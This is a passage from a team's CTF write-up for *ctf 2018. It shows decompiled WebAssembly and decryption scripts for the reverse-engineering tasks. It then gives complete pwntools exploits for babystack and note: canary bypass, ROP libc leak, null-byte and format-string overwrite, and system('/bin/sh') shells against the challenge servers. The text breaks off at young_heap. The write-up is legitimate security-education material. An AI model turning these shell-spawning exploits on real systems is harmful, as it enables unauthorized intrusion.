# *ctf 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180421-*ctf/) of this writeup.**
 - [*ctf 2018](#ctf-2018)   - [rev](#rev)     - [wasm (sces60107)](#wasm-sces60107)     - [milktea (sasdf)](#milktea-sasdf)   - [pwn](#pwn)     - [babystack (sces60107)](#babystack-sces60107)     - [note (sces60107)](#note-sces60107)     - [young_heap (4w4rd sces60107)](#young_heap-4w4rd-sces60107)   - [web](#web)     - [simpleweb (how2hack)](#simpleweb-how2hack)   - [misc](#misc)     - [welcome (bookgin)](#welcome-bookgin)     - [warmup (sces60107)](#warmup-sces60107)   - [ppc](#ppc)     - [magic_number (b04902036)](#magic_number-b04902036)     - [Chess Master (bookgin)](#chess-master-bookgin)   - [crypto](#crypto)     - [primitive (sasdf)](#primitive-sasdf)     - [ssss (sasdf)](#ssss-sasdf)     - [ssss2 (sasdf)](#ssss2-sasdf)
The official repository is [here](https://github.com/sixstars/starctf2018)
## rev
### wasm (sces60107)
I leverage [wasm2c](https://github.com/WebAssembly/wabt) to decomplie this wasm
Then I found some interesting function and data
```c=static const u8 data_segment_data_0[] = {  0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,   0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00,   0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00,   0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00,   0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00,   0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00,   0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00,   0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00,   0x77, 0x65, 0x62, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x73,   0x74, 0x69, 0x6e, 0x67, };
static void init_memory(void) {  memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 112);}static void init_table(void) {  uint32_t offset;  offset = (*Z_envZ_tableBaseZ_i);  (*Z_envZ_table).data[offset + 0] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};  (*Z_envZ_table).data[offset + 1] = (wasm_rt_elem_t){func_types[4], (wasm_rt_anyfunc_t)(&_EncryptCBC)};  (*Z_envZ_table).data[offset + 2] = (wasm_rt_elem_t){func_types[1], (wasm_rt_anyfunc_t)(&_check)};  (*Z_envZ_table).data[offset + 3] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};}static void _EncryptCBC(u32 p0, u32 p1, u32 p2, u32 p3) {  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0,       l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0,       l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0,       l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0,       l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0,       l40 = 0, l41 = 0;  FUNC_PROLOGUE;  u32 i0, i1;  i0 = g10;  l41 = i0;  i0 = g10;  i1 = 48u;  i0 += i1;  g10 = i0;  i0 = g10;  i1 = g11;  i0 = (u32)((s32)i0 >= (s32)i1);  if (i0) {    i0 = 48u;    (*Z_envZ_abortStackOverflowZ_vi)(i0);  }  i0 = l41;  i1 = 16u;  i0 += i1;  l38 = i0;  i0 = l41;  l39 = i0;  i0 = p0;  l30 = i0; l30=p0  i0 = p1;  l35 = i0; l35=p1  i0 = p2;  l36 = i0; l36=p2  i0 = p3;  l37 = i0; l37=p3  i0 = l37;   l0 = i0;  i0 = l0;  i0 = f9(i0);  round key  l1 = i0;  i0 = l39;  i1 = l1;  i32_store(Z_envZ_memory, (u64)(i0), i1);  i0 = l37;  l2 = i0;  i0 = l2;  i1 = 4u;  i0 += i1;  l3 = i0;  i0 = l3;  i0 = f9(i0);  l4 = i0;  i0 = l39;  i1 = 4u;  i0 += i1;  l5 = i0;  i0 = l5;  i1 = l4;  i32_store(Z_envZ_memory, (u64)(i0), i1);  i0 = l37;  l6 = i0;  i0 = l6;  i1 = 8u;  i0 += i1;  l7 = i0;  i0 = l7;  i0 = f9(i0);  l8 = i0;  i0 = l39;  i1 = 8u;  i0 += i1;  l9 = i0;  i0 = l9;  i1 = l8;  i32_store(Z_envZ_memory, (u64)(i0), i1);  i0 = l37;  l10 = i0;  i0 = l10;  i1 = 12u;  i0 += i1;  l11 = i0;  i0 = l11;  i0 = f9(i0);  l12 = i0;  i0 = l39;  i1 = 12u;  i0 += i1;  l13 = i0;  i0 = l13;  i1 = l12;  i32_store(Z_envZ_memory, (u64)(i0), i1);  L1:     i0 = l36;    l14 = i0;    i0 = l14;    i1 = 8u;    i0 = (u32)((s32)i0 >= (s32)i1);    l15 = i0;    i0 = l15;    i0 = !(i0);    if (i0) {      goto B2;    }    i0 = l35;    l16 = i0;    i0 = l16;    i0 = f9(i0);    l17 = i0;    i0 = l38;    i1 = l17;    i32_store(Z_envZ_memory, (u64)(i0), i1);    i0 = l35;    l18 = i0;    i0 = l18;    i1 = 4u;    i0 += i1;    l19 = i0;    i0 = l19;    i0 = f9(i0);    l20 = i0;    i0 = l38;    i1 = 4u;    i0 += i1;    l21 = i0;    i0 = l21;    i1 = l20;    i32_store(Z_envZ_memory, (u64)(i0), i1);    i0 = l38;    i1 = l39;    f10(i0, i1);    i0 = l30;    l22 = i0;    i0 = l38;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l23 = i0;    i0 = l22;    i1 = l23;    f11(i0, i1);    i0 = l30;    l24 = i0;    i0 = l24;    i1 = 4u;    i0 += i1;    l25 = i0;    i0 = l38;    i1 = 4u;    i0 += i1;    l26 = i0;    i0 = l26;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l27 = i0;    i0 = l25;    i1 = l27;    f11(i0, i1);    i0 = l35;    l28 = i0;    i0 = l28;    i1 = 8u;    i0 += i1;    l29 = i0;    i0 = l29;    l35 = i0;    i0 = l30;    l31 = i0;    i0 = l31;    i1 = 8u;    i0 += i1;    l32 = i0;    i0 = l32;    l30 = i0;    i0 = l36;    l33 = i0;    i0 = l33;    i1 = 8u;    i0 -= i1;    l34 = i0;    i0 = l34;    l36 = i0;    goto L1;    B2:;  i0 = l41;  g10 = i0;  goto Bfunc;  Bfunc:;  FUNC_EPILOGUE;}
static u32 f9(u32 p0) {  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0,       l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0,       l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0;  FUNC_PROLOGUE;  u32 i0, i1;  i0 = g10;  l23 = i0;  i0 = g10;  i1 = 16u;  i0 += i1;  g10 = i0;  i0 = g10;  i1 = g11;  i0 = (u32)((s32)i0 >= (s32)i1);  if (i0) {    i0 = 16u;    (*Z_envZ_abortStackOverflowZ_vi)(i0);  }  i0 = p0;  l0 = i0;  i0 = l0;  l11 = i0;  i0 = l11; l11=p0  i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));  l15 = i0;  i0 = l15;  i1 = 255u;  i0 &= i1;  l16 = i0;  i0 = l0;  l17 = i0;  i0 = l17;  i1 = 1u;  i0 += i1;  l18 = i0;  i0 = l18;  i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));  l19 = i0;  i0 = l19;  i1 = 255u;  i0 &= i1;  l20 = i0;  i0 = l20;  i1 = 8u;  i0 <<= (i1 & 31);  l21 = i0;  i0 = l16;  i1 = l21;  i0 |= i1;  l1 = i0;  i0 = l0;  l2 = i0;  i0 = l2;  i1 = 2u;  i0 += i1;  l3 = i0;  i0 = l3;  i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));  l4 = i0;  i0 = l4;  i1 = 255u;  i0 &= i1;  l5 = i0;  i0 = l5;  i1 = 16u;  i0 <<= (i1 & 31);  l6 = i0;  i0 = l1;  i1 = l6;  i0 |= i1;  l7 = i0;  i0 = l0;  l8 = i0;  i0 = l8;  i1 = 3u;  i0 += i1;  l9 = i0;  i0 = l9;  i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));  l10 = i0;  i0 = l10;  i1 = 255u;  i0 &= i1;  l12 = i0;  i0 = l12;  i1 = 24u;  i0 <<= (i1 & 31);  l13 = i0;  i0 = l7;  i1 = l13;  i0 |= i1;  l14 = i0;  i0 = l23;  g10 = i0;  i0 = l14;  goto Bfunc;  Bfunc:;  FUNC_EPILOGUE;  return i0;}
static void f10(u32 p0, u32 p1) {  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0,       l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0,       l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0,       l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0,       l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0,       l40 = 0, l41 = 0, l42 = 0, l43 = 0, l44 = 0, l45 = 0, l46 = 0, l47 = 0,       l48 = 0, l49 = 0, l50 = 0, l51 = 0, l52 = 0, l53 = 0, l54 = 0, l55 = 0,       l56 = 0, l57 = 0, l58 = 0, l59 = 0, l60 = 0, l61 = 0, l62 = 0;  FUNC_PROLOGUE;  u32 i0, i1;  i0 = g10;  l62 = i0;  i0 = g10;  i1 = 32u;  i0 += i1;  g10 = i0;  i0 = g10;  i1 = g11;  i0 = (u32)((s32)i0 >= (s32)i1);  if (i0) {    i0 = 32u;    (*Z_envZ_abortStackOverflowZ_vi)(i0);  }  i0 = p0;  l10 = i0;  i0 = p1;  l21 = i0;  i0 = 2654435769u;  l32 = i0;  i0 = 0u;  l43 = i0;  i0 = 0u;  l54 = i0;  L1:     i0 = l54;    l58 = i0;    i0 = l58;    i1 = 32u;    i0 = i0 < i1;    l59 = i0;    i0 = l59;    i0 = !(i0);    if (i0) {      goto B2;    }    i0 = l32;    l60 = i0;    i0 = l43;    l0 = i0;    i0 = l0;    i1 = l60;    i0 += i1;    l1 = i0;    i0 = l1;    l43 = i0;    i0 = l10;    l2 = i0;    i0 = l2;    i1 = 4u;    i0 += i1;    l3 = i0;    i0 = l3;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l4 = i0;    i0 = l4;    i1 = 3u;    i0 <<= (i1 & 31);    l5 = i0;    i0 = l21;    l6 = i0;    i0 = l6;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l7 = i0;    i0 = l5;    i1 = l7;    i0 ^= i1;    l8 = i0;    i0 = l10;    l9 = i0;    i0 = l9;    i1 = 4u;    i0 += i1;    l11 = i0;    i0 = l11;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l12 = i0;    i0 = l43;    l13 = i0;    i0 = l12;    i1 = l13;    i0 += i1;    l14 = i0;    i0 = l8;    i1 = l14;    i0 ^= i1;    l15 = i0;    i0 = l10;    l16 = i0;    i0 = l16;    i1 = 4u;    i0 += i1;    l17 = i0;    i0 = l17;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l18 = i0;    i0 = l18;    i1 = 5u;    i0 >>= (i1 & 31);    l19 = i0;    i0 = l21;    l20 = i0;    i0 = l20;    i1 = 4u;    i0 += i1;    l22 = i0;    i0 = l22;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l23 = i0;    i0 = l19;    i1 = l23;    i0 += i1;    l24 = i0;    i0 = l15;    i1 = l24;    i0 ^= i1;    l25 = i0;    i0 = l10;    l26 = i0;    i0 = l26;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l27 = i0;    i0 = l27;    i1 = l25;    i0 += i1;    l28 = i0;    i0 = l26;    i1 = l28;    i32_store(Z_envZ_memory, (u64)(i0), i1);    i0 = l10;    l29 = i0;    i0 = l29;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l30 = i0;    i0 = l30;    i1 = 3u;    i0 <<= (i1 & 31);    l31 = i0;    i0 = l21;    l33 = i0;    i0 = l33;    i1 = 8u;    i0 += i1;    l34 = i0;    i0 = l34;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l35 = i0;    i0 = l31;    i1 = l35;    i0 ^= i1;    l36 = i0;    i0 = l10;    l37 = i0;    i0 = l37;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l38 = i0;    i0 = l43;    l39 = i0;    i0 = l38;    i1 = l39;    i0 += i1;    l40 = i0;    i0 = l36;    i1 = l40;    i0 ^= i1;    l41 = i0;    i0 = l10;    l42 = i0;    i0 = l42;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l44 = i0;    i0 = l44;    i1 = 5u;    i0 >>= (i1 & 31);    l45 = i0;    i0 = l21;    l46 = i0;    i0 = l46;    i1 = 12u;    i0 += i1;    l47 = i0;    i0 = l47;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l48 = i0;    i0 = l45;    i1 = l48;    i0 += i1;    l49 = i0;    i0 = l41;    i1 = l49;    i0 ^= i1;    l50 = i0;    i0 = l10;    l51 = i0;    i0 = l51;    i1 = 4u;    i0 += i1;    l52 = i0;    i0 = l52;    i0 = i32_load(Z_envZ_memory, (u64)(i0));    l53 = i0;    i0 = l53;    i1 = l50;    i0 += i1;    l55 = i0;    i0 = l52;    i1 = l55;    i32_store(Z_envZ_memory, (u64)(i0), i1);    i0 = l54;    l56 = i0;    i0 = l56;    i1 = 1u;    i0 += i1;    l57 = i0;    i0 = l57;    l54 = i0;    goto L1;    B2:;  i0 = l62;  g10 = i0;  goto Bfunc;  Bfunc:;  FUNC_EPILOGUE;}
static void f11(u32 p0, u32 p1) {  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0,       l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0,       l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0;  FUNC_PROLOGUE;  u32 i0, i1;  i0 = g10;  l21 = i0;  i0 = g10;  i1 = 16u;  i0 += i1;  g10 = i0;  i0 = g10;  i1 = g11;  i0 = (u32)((s32)i0 >= (s32)i1);  if (i0) {    i0 = 16u;    (*Z_envZ_abortStackOverflowZ_vi)(i0);  }  i0 = p0;  l10 = i0;  i0 = p1;  l13 = i0;  i0 = l13;  l14 = i0;  i0 = l14;  i1 = 255u;  i0 &= i1;  l15 = i0;  i0 = l10;  l16 = i0;  i0 = l16;  i1 = l15;  i32_store8(Z_envZ_memory, (u64)(i0), i1);  i0 = l13;  l17 = i0;  i0 = l17;  i1 = 8u;  i0 >>= (i1 & 31);  l18 = i0;  i0 = l18;  i1 = 255u;  i0 &= i1;  l19 = i0;  i0 = l10;  l0 = i0;  i0 = l0;  i1 = 1u;  i0 += i1;  l1 = i0;  i0 = l1;  i1 = l19;  i32_store8(Z_envZ_memory, (u64)(i0), i1);  i0 = l13;  l2 = i0;  i0 = l2;  i1 = 16u;  i0 >>= (i1 & 31);  l3 = i0;  i0 = l3;  i1 = 255u;  i0 &= i1;  l4 = i0;  i0 = l10;  l5 = i0;  i0 = l5;  i1 = 2u;  i0 += i1;  l6 = i0;  i0 = l6;  i1 = l4;  i32_store8(Z_envZ_memory, (u64)(i0), i1);  i0 = l13;  l7 = i0;  i0 = l7;  i1 = 24u;  i0 >>= (i1 & 31);  l8 = i0;  i0 = l8;  i1 = 255u;  i0 &= i1;  l9 = i0;  i0 = l10;  l11 = i0;  i0 = l11;  i1 = 3u;  i0 += i1;  l12 = i0;  i0 = l12;  i1 = l9;  i32_store8(Z_envZ_memory, (u64)(i0), i1);  i0 = l21;  g10 = i0;  goto Bfunc;  Bfunc:;  FUNC_EPILOGUE;}
static u32 _check(u32 p0) {  u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0,       l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0,       l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0,       l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0,       l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0;  FUNC_PROLOGUE;  u32 i0, i1, i2, i3;  i0 = g10;  l36 = i0;  i0 = g10;  i1 = 160u;  i0 += i1;  g10 = i0;  i0 = g10;  i1 = g11;  i0 = (u32)((s32)i0 >= (s32)i1);  if (i0) {    i0 = 160u;    (*Z_envZ_abortStackOverflowZ_vi)(i0);  }  i0 = l36;  i1 = 144u;  i0 += i1;  l22 = i0;  i0 = l36;  i1 = 120u;  i0 += i1;  l28 = i0;  i0 = l36;  i1 = 8u;  i0 += i1;  l30 = i0;  i0 = p0;  l11 = i0;  i0 = l11;  l32 = i0;  i0 = l32;  i0 = (*Z_envZ__strlenZ_ii)(i0);  l33 = i0;  i0 = l33;  i1 = 24u;  i0 = i0 != i1;  l1 = i0;  i0 = l1;  if (i0) {    i0 = 0u;    l0 = i0;    i0 = l0;    l27 = i0;    i0 = l36;    g10 = i0;    i0 = l27;    goto Bfunc;  }  i0 = l22;  l34 = i0;  i0 = (*Z_envZ_memoryBaseZ_i);  i1 = 96u;  i0 += i1;  l37 = i0;  i0 = l34; 144  i1 = 16u;  i0 += i1;  l38 = i0;  L2:     i0 = l34;    i1 = l37;    i1 = i32_load8_s(Z_envZ_memory, (u64)(i1));    i32_store8(Z_envZ_memory, (u64)(i0), i1);    i0 = l34;    i1 = 1u;    i0 += i1;    l34 = i0;    i0 = l37;    i1 = 1u;    i0 += i1;    l37 = i0;    i0 = l34;    i1 = l38;    i0 = (u32)((s32)i0 < (s32)i1);    if (i0) {goto L2;}  i0 = l11;  l2 = i0;  i0 = l28; 120  i1 = l2;  plaintext  i2 = 4u;  4  i3 = l22; 144 key?  _EncryptCBC(i0, i1, i2, i3);  i0 = 0u;  l29 = i0;  i0 = l30;  l34 = i0;  i0 = (*Z_envZ_memoryBaseZ_i);  i1 = 0u;  i0 += i1;  l37 = i0;  i0 = l34;  i1 = 96u;  i0 += i1;  l38 = i0;  L3:     i0 = l34;    i1 = l37;    i1 = i32_load(Z_envZ_memory, (u64)(i1));    i32_store(Z_envZ_memory, (u64)(i0), i1);    i0 = l34;    i1 = 4u;    i0 += i1;    l34 = i0;    i0 = l37;    i1 = 4u;    i0 += i1;    l37 = i0;    i0 = l34;    i1 = l38;    i0 = (u32)((s32)i0 < (s32)i1);    if (i0) {goto L3;}  i0 = 0u;  l29 = i0;  L4:     i0 = l29;    l3 = i0;    i0 = l3;    i1 = 3u;    i0 = (u32)((s32)i0 < (s32)i1);    l4 = i0;    i0 = l4;    i0 = !(i0);    if (i0) {      i0 = 11u;      l35 = i0;      goto B5;    }    i0 = 0u;    l31 = i0;    L7:       i0 = l31;      l5 = i0;      i0 = l5;      i1 = 8u;      i0 = (u32)((s32)i0 < (s32)i1);      l6 = i0;      i0 = l29;      l7 = i0;      i0 = l6;      i0 = !(i0);      if (i0) {        goto B8;      }      i0 = l7;      i1 = 3u;      i0 <<= (i1 & 31);      l8 = i0;      i0 = l31;      l9 = i0;      i0 = l8;      i1 = l9;      i0 += i1;      l10 = i0;      i0 = l28;      i1 = l10;      i0 += i1;      l12 = i0;      i0 = l12;      i0 = i32_load8_s(Z_envZ_memory, (u64)(i0));      l13 = i0;      i0 = l13;      i1 = 255u;      i0 &= i1;      l14 = i0;      i0 = l29;      l15 = i0;      i0 = l15;      i1 = 3u;      i0 <<= (i1 & 31);      l16 = i0;      i0 = l16;      i1 = 7u;      i0 += i1;      l17 = i0;      i0 = l31;      l18 = i0;      i0 = l17;      i1 = l18;      i0 -= i1;      l19 = i0;      i0 = l30; cipher      i1 = l19;      i2 = 2u;      i1 <<= (i2 & 31);      i0 += i1;      l20 = i0;      i0 = l20;      i0 = i32_load(Z_envZ_memory, (u64)(i0));      l21 = i0;      i0 = l14;      i1 = l21; cipher[pos]      i0 = i0 != i1;      l23 = i0;      i0 = l23;      if (i0) {        i0 = 8u;        l35 = i0;        goto B5;      }      i0 = l31;      l24 = i0;      i0 = l24;      i1 = 1u;      i0 += i1;      l25 = i0;      i0 = l25;      l31 = i0;      goto L7;      B8:;    i0 = l7;    i1 = 1u;    i0 += i1;    l26 = i0;    i0 = l26;    l29 = i0;    goto L4;    B5:;  i0 = l35;  i1 = 8u;  i0 = i0 == i1;  if (i0) {    i0 = 0u;    l0 = i0;    i0 = l0;    l27 = i0;    i0 = l36;    g10 = i0;    i0 = l27;    goto Bfunc;  } else {    i0 = l35;    i1 = 11u;    i0 = i0 == i1;    if (i0) {      i0 = 1u;      l0 = i0;      i0 = l0;      l27 = i0;      i0 = l36;      g10 = i0;      i0 = l27;      goto Bfunc;    }  }  i0 = 0u;  goto Bfunc;  Bfunc:;  FUNC_EPILOGUE;  return i0;}```The first thing come out in my mind is that It's [TEA](https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm).
But there some difference. The encryption function in this challenge is```c=void encrypt (uint32_t* v, uint32_t* k) {    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */    for (i=0; i < 32; i++) {                       /* basic cycle start */        sum += delta;        v0 += ((v1<<3) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);        v1 += ((v0<<3) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);    }                                              /* end cycle */    v[0]=v0; v[1]=v1;}```Now it's easy to write a decryption script```python=from pwn import *A=[0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,   0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00,   0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00,   0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00,   0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00,   0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00,   0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00,   0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00]def decrypt(v,k):  v0=v[0]  v1=v[1]  asum=0xC6EF3720  delta=0x9e3779b9  k0=k[0]  k1=k[1]  k2=k[2]  k3=k[3]  for i in range(32) :                          v1 -= ((v0<<3) ^ k2) ^ (v0 + asum) ^ ((v0>>5) + k3)    v1 %=(2**32)    v0 -= ((v1<<3) ^ k0) ^ (v1 + asum) ^ ((v1>>5) + k1)    v0 %=(2**32)    asum -= delta    asum %= (2**32)  return v0,v1
cipher=[A[i] for i in range(0,len(A),4)]cipher="".join(map(chr,cipher))
key="webasmintersting"k=[u32(key[i:i+4]) for i in range(0,len(key),4)]
flag=""for i in range(3):  vv=cipher[i*8:(i+1)*8][::-1]  v=[u32(vv[i:i+4]) for i in range(0,len(vv),4)]  a,b=decrypt(v,k)  flag+=p32(a)+p32(b)print flag# *ctf{web4ss3mbly_1s_god}```
### milktea (sasdf)
```python=import struct
with open('milktea', 'rb') as f:    data = f.read()    keys = data[0x10C0:0x11A8]    ct = data[0x1080:0x10B8]keys = struct.unpack('<' + 'I' * (len(keys) // 4), keys)keys = [keys[i:i+2] for i in range(0, len(keys), 2)]ct = struct.unpack('<' + 'I' * (len(ct) // 4), ct)
# Fake memcmpxx = [    0x0BF7AC52, 0x801135AA, 0x5341B12E, 0x8C284278,     0x879413EE, 0xF0D4BB6A, 0x3336515C, 0x1498DC7D,     0x0BE8AD86, 0x310FE5B8, 0x3DEEAFD4, 0x5603371B,     0x00000000, 0x00000000,]ct = [c ^ x for c, x in zip(ct, xx)]ct = [ct[i:i+2] for i in range(0, len(ct), 2)]
sbox = [    0x206D2749, 0x69622061, 0x61662067, 0x666F206E,     0x70657320, 0x6D657974, 0x37633634, 0x66336265,     0x63383538, 0x66373331, 0x66646239, 0x65356166,     0x38386630, 0x39386530, 0x62623935, 0x35366532, ]
mask = 0xffffffff
# Encyption sanity checklow, = struct.unpack('<I', 'aaaa')high = low
for key in keys:    high = ( ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) + high ) & mask    low = ( ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) + low ) & maskres = low << 32 | high
assert(res == 0xd5c62ef45e60fe03)
# Decrypt flagplain = ''for c in ct:    high, low = c    for key in reversed(keys):        low = ( low - ( (key[1] + sbox[high & 0xF]) ^ (high + ((high >> 5) ^ (high << 4))) ) ) & mask        high = ( high - ( (key[0] + sbox[low & 0xF]) ^ (low + ((low >> 5) ^ (low << 4))) ) ) & mask    res = high << 32 | low    plain += struct.pack('<Q', res)print(repr(plain))```
## pwn
### babystack (sces60107)
In this challenge, you can overflow the stack canary.So you won't trigger `__stack_chk_fail`
```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.91.226.78", 10005)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')}#r=process("./bs",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *'+hex(0x400a9b)+'\nc\n')
def proofwork():  r.recvuntil('sha256(xxxx+')  a=r.recvline()  print a  proof=a.split(" ")[-1]  x=a.split(")")[0]  proof=proof.strip()  print r.recvuntil("xxxx:\n")  for i in itertools.product(string.ascii_letters+string.digits,repeat=4):    test="".join(i)+x    k=hashlib.sha256()    k.update(test)    if k.hexdigest()==proof:      print "find"      r.sendline("".join(i))      breakproofwork() 
main=0x4009e7poprdi=0x400c03poprsi=0x400c01read=0x4007e0atoigot=0x601ff0putsgot=0x601fb0putplt=0x4007c0buf=0x602f00leave=0x400955p1=p64(poprdi)+p64(putsgot)+p64(putplt)p2=p64(poprdi)+p64(0)+p64(poprsi)+p64(buf+0x8)+p64(0)+p64(read)+p64(leave)payload=p1+p2
# You can overflow the stack canary, the stack canary offset is 0x6128print r.recvuntil("How many bytes do you want to send?")r.sendline(str(6128))r.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload)))
# The first part of payload leak the libc baser.recvuntil("It's time to say goodbye.\n")libbase=u64(r.recvline()[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57
# Using stack migration, you input payload againr.sendline(p64(poprdi)+p64(binsh)+p64(system))
r.interactive()# *ctf{h4ve_fun_w1th_0ld_tr1ck5_in_2018}```
### note (sces60107)
You can find out the null-byte overflow in Edit note.
Then you also notice that the format string address is on the stack. You can overwrite it.
Cause the wrong rbp value, you can overwrite return value when calling scanf.
```python=from pwn import *import hashlibimport itertoolsimport stringimport osimport timer=remote("47.89.18.224", 10007)#env = {'LD_PRELOAD': os.path.join(os.getcwd(),'./libc.so.6')}#r=process("./note",env=env)#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def proofwork():  r.recvuntil('sha256(xxxx+')  a=r.recvline()  print a  proof=a.split(" ")[-1]  x=a.split(")")[0]  proof=proof.strip()  print r.recvuntil("xxxx:\n")  for i in itertools.product(string.ascii_letters+string.digits,repeat=4):    test="".join(i)+x    k=hashlib.sha256()    k.update(test)    if k.hexdigest()==proof:      print "find"      r.sendline("".join(i))      break
proofwork()s=0x401129fd=0x602140printgot=0x601F90poprdi=0x401003
# Not importantr.recvuntil("Input your ID:")r.send(cyclic(256))
# You can trigger null-byte overflow# They put "%d" address on the stack, but rbp is different cause null-byte overflow. Now you can assign other format string. I choose %256sr.recvuntil("> ")r.sendline("1")r.recvuntil("Note:")r.sendline("a"*168+p64(s)+"a"*(256-176))r.recvuntil("> ")
# Now the note address can be changed, I have arbitrary read. Just leak libc base address.r.sendline(p32(2)+p64(s)+p64(printgot))r.recvuntil("Note:")heapbase=r.recvline()print heapbase.encode("hex")libbase=u64(heapbase[:6]+"\x00\x00")-0x6f690print hex(libbase)system=libbase+0x45390binsh=libbase+0x18cd57
# You overwrite the return address when you call scanfr.recvuntil("> ")r.sendline("a"*100+p64(poprdi)+p64(binsh)+p64(system))r.interactive()# *ctf{n0te_helps_y0u_use_scanf}```
### young_heap (4w4rd sces60107)
```python=from pwn import *
